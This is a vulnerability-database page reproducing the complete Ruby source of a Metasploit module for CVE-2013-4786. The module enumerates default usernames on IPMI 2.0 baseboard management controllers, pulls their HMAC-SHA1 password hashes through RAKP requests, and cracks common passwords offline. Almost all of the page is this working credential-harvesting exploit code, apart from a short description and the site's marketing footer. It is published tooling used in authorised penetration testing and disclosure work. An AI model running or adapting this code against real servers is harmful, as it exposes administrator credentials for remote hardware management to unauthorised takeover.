Lucene search
K

IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval

🗓️ 01 Sep 2024 00:00:00Reported by H D Moore, Dan Farmer, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 686 Views

IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval module identifies and retrieves HMAC-SHA1 password hashes of default usernames for IPMI 2.0-compatible systems for offline cracking

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval',  
'Description' => %q|  
This module identifies IPMI 2.0-compatible systems and attempts to retrieve the  
HMAC-SHA1 password hashes of default usernames. The hashes can be stored in a  
file using the OUTPUT_FILE option and then cracked using hmac_sha1_crack.rb  
in the tools subdirectory as well hashcat (cpu) 0.46 or newer using type 7300.  
|,  
'Author' => [ 'Dan Farmer <zen[at]fish2.com>', 'hdm' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['URL', 'http://fish2.com/ipmi/remote-pw-cracking.html'],  
['URL', 'https://seclists.org/bugtraq/2014/Apr/16'], # HP's SSRT101367  
['CVE', '2013-4786'],  
['OSVDB', '95057'],  
['BID', '61076'],  
],  
'DisclosureDate' => 'Jun 20 2013'  
)  
  
register_options(  
[  
Opt::RPORT(623),  
OptPath.new('USER_FILE', [ true, "File containing usernames, one per line",  
File.join(Msf::Config.install_root, 'data', 'wordlists', 'ipmi_users.txt')  
]),  
OptPath.new('PASS_FILE', [ true, "File containing common passwords for offline cracking, one per line",  
File.join(Msf::Config.install_root, 'data', 'wordlists', 'ipmi_passwords.txt')  
]),  
OptString.new('OUTPUT_HASHCAT_FILE', [false, "Save captured password hashes in hashcat format"]),  
OptString.new('OUTPUT_JOHN_FILE', [false, "Save captured password hashes in john the ripper format"]),  
OptBool.new('CRACK_COMMON', [true, "Automatically crack common passwords as they are obtained", true]),  
OptInt.new('SESSION_RETRY_DELAY', [true, "Delay between session retries in seconds", 5]),  
OptInt.new('SESSION_MAX_ATTEMPTS', [true, "Maximum number of session retries, required on certain BMCs (HP iLO 4, etc)", 5])  
])  
  
end  
  
def post_auth?  
true  
end  
  
def ipmi_status(msg)  
vprint_status("#{rhost}:#{rport} - IPMI - #{msg}")  
end  
  
def ipmi_error(msg)  
vprint_error("#{rhost}:#{rport} - IPMI - #{msg}")  
end  
  
def ipmi_good(msg)  
print_good("#{rhost}:#{rport} - IPMI - #{msg}")  
end  
  
def run_host(ip)  
  
ipmi_status("Sending IPMI probes")  
  
usernames = []  
passwords = []  
  
# Load up our username list (save on open fds)  
::File.open(datastore['USER_FILE'], "rb") do |fd|  
fd.each_line do |line|  
usernames << line.strip  
end  
end  
usernames << ""  
usernames = usernames.uniq  
  
# Load up our password list (save on open fds)  
::File.open(datastore['PASS_FILE'], "rb") do |fd|  
fd.each_line do |line|  
passwords << line.gsub(/\r?\n?/, '')  
end  
end  
passwords << ""  
passwords = passwords.uniq  
  
delay_value = datastore['SESSION_RETRY_DELAY'].to_i  
max_session_attempts = datastore['SESSION_MAX_ATTEMPTS'].to_i  
  
self.udp_sock = Rex::Socket::Udp.create({'Context' => {'Msf' => framework, 'MsfExploit' => self}})  
add_socket(self.udp_sock)  
  
reported_vuln = false  
session_succeeded = false  
  
usernames.each do |username|  
console_session_id = Rex::Text.rand_text(4)  
console_random_id = Rex::Text.rand_text(16)  
  
ipmi_status("Trying username '#{username}'...")  
  
rakp = nil  
sess = nil  
sess_data = nil  
  
# It may take multiple tries to get a working "session" on certain BMCs (HP iLO 4, etc)  
1.upto(max_session_attempts) do |attempt|  
  
r = nil  
1.upto(3) do  
udp_send(Rex::Proto::IPMI::Utils.create_ipmi_session_open_request(console_session_id))  
r = udp_recv(5.0)  
break if r  
end  
  
unless r  
ipmi_status("No response to IPMI open session request")  
rakp = nil  
break  
end  
  
sess = process_opensession_reply(*r)  
unless sess  
ipmi_status("Could not understand the response to the open session request")  
rakp = nil  
break  
end  
  
if sess.data.length < 8  
ipmi_status("Refused IPMI open session request, waiting #{delay_value} seconds")  
rakp = nil  
sleep(delay_value) if session_succeeded  
next # break  
end  
  
session_succeeded = true  
  
sess_data = Rex::Proto::IPMI::Session_Data.new.read(sess.data)  
  
r = nil  
1.upto(3) do  
udp_send(Rex::Proto::IPMI::Utils.create_ipmi_rakp_1(sess_data.bmc_session_id, console_random_id, username))  
r = udp_recv(5.0)  
break if r  
end  
  
unless r  
ipmi_status("No response to RAKP1 message")  
next  
end  
  
rakp = process_rakp1_reply(*r)  
unless rakp  
ipmi_status("Could not understand the response to the RAKP1 request")  
rakp = nil  
break  
end  
  
# Sleep and retry on session ID errors  
if rakp.error_code == 2  
ipmi_error("Returned a Session ID error for username #{username} on attempt #{attempt}")  
Rex.sleep(1)  
next  
end  
  
if rakp.error_code != 0  
ipmi_error("Returned error code #{rakp.error_code} for username #{username}: #{Rex::Proto::IPMI::RMCP_ERRORS[rakp.error_code].to_s}")  
rakp = nil  
break  
end  
  
# TODO: Finish documenting this error field  
if rakp.ignored1 != 0  
ipmi_error("Returned error code #{rakp.ignored1} for username #{username}")  
rakp = nil  
break  
end  
  
# Check if there is hash data  
if rakp.data.length < 56  
rakp = nil  
break  
end  
  
# Break out of the session retry code if we make it here  
break  
end  
  
# Skip to the next user if we didnt get a valid response  
next if !rakp  
  
# Calculate the salt used in the hmac-sha1 hash  
rakp_data = Rex::Proto::IPMI::RAKP2_Data.new.read(rakp.data)  
hmac_buffer = Rex::Proto::IPMI::Utils.create_rakp_hmac_sha1_salt(  
console_session_id,  
sess_data.bmc_session_id,  
console_random_id,  
rakp_data.bmc_random_id,  
rakp_data.bmc_guid,  
0x14,  
username  
)  
  
sha1_salt = hmac_buffer.unpack("H*")[0]  
sha1_hash = rakp_data.hmac_sha1.unpack("H*")[0]  
  
if sha1_hash == "0000000000000000000000000000000000000000"  
ipmi_error("Returned a bogus SHA1 hash for username #{username}")  
next  
end  
  
ipmi_good("Hash found: #{username}:#{sha1_salt}:#{sha1_hash}")  
  
write_output_files(rhost, username, sha1_salt, sha1_hash)  
  
# Write the rakp hash to the database  
hash = "#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}"  
core_id = report_hash(username, hash)  
# Write the vulnerability to the database  
unless reported_vuln  
report_vuln(  
:host => rhost,  
:port => rport,  
:proto => 'udp',  
:sname => 'ipmi',  
:name => 'IPMI 2.0 RMCP+ Authentication Password Hash Exposure',  
:info => "Obtained password hash for user #{username}: #{sha1_salt}:#{sha1_hash}",  
:refs => self.references  
)  
reported_vuln = true  
end  
  
# Offline crack common passwords and report clear-text credentials  
next unless datastore['CRACK_COMMON']  
  
passwords.uniq.each do |pass|  
pass = pass.strip  
next unless pass.length > 0  
next unless Rex::Proto::IPMI::Utils.verify_rakp_hmac_sha1(hmac_buffer, rakp_data.hmac_sha1, pass)  
ipmi_good("Hash for user '#{username}' matches password '#{pass}'")  
  
# Report the clear-text credential to the database  
report_cracked_cred(username, pass, core_id)  
break  
end  
end  
end  
  
def process_opensession_reply(data, shost, sport)  
shost = shost.sub(/^::ffff:/, '')  
info = Rex::Proto::IPMI::Open_Session_Reply.new.read(data) rescue nil  
return unless info && info.session_payload_type == Rex::Proto::IPMI::PAYLOAD_RMCPPLUSOPEN_REP  
info  
end  
  
def process_rakp1_reply(data, shost, sport)  
shost = shost.sub(/^::ffff:/, '')  
info = Rex::Proto::IPMI::RAKP2.new.read(data) rescue nil  
return unless info && info.session_payload_type == Rex::Proto::IPMI::PAYLOAD_RAKP2  
info  
end  
  
  
def write_output_files(rhost, username, sha1_salt, sha1_hash)  
if datastore['OUTPUT_HASHCAT_FILE']  
::File.open(datastore['OUTPUT_HASHCAT_FILE'], "ab") do |fd|  
fd.write("#{rhost} #{username}:#{sha1_salt}:#{sha1_hash}\n")  
fd.flush  
end  
end  
  
if datastore['OUTPUT_JOHN_FILE']  
::File.open(datastore['OUTPUT_JOHN_FILE'], "ab") do |fd|  
fd.write("#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}\n")  
fd.flush  
end  
end  
end  
  
def service_data  
{  
address: rhost,  
port: rport,  
service_name: 'ipmi',  
protocol: 'udp',  
workspace_id: myworkspace_id  
}  
end  
  
def report_hash(user, hash)  
credential_data = {  
module_fullname: self.fullname,  
origin_type: :service,  
private_data: hash,  
private_type: :nonreplayable_hash,  
jtr_format: 'rakp',  
username: user,  
}.merge(service_data)  
  
login_data = {  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::UNTRIED  
}.merge(service_data)  
  
cl = create_credential_login(login_data)  
cl ? cl.core_id : nil  
end  
  
def report_cracked_cred(user, password, core_id)  
cred_data = {  
core_id: core_id,  
username: user,  
password: password  
}  
  
create_cracked_credential(cred_data)  
end  
  
#  
# Helper methods (these didn't quite fit with existing mixins)  
#  
  
attr_accessor :udp_sock  
  
def udp_send(data)  
begin  
udp_sock.sendto(data, rhost, datastore['RPORT'], 0)  
rescue ::Interrupt  
raise $!  
rescue ::Exception  
end  
end  
  
def udp_recv(timeo)  
r = udp_sock.recvfrom(65535, timeo)  
r[1] ? r : nil  
end  
  
def rhost  
datastore['RHOST']  
end  
  
def rport  
datastore['RPORT']  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2024 00:00Current
7High risk
Vulners AI Score7
CVSS 37.5
CVSS 27.8
EPSS0.81802
686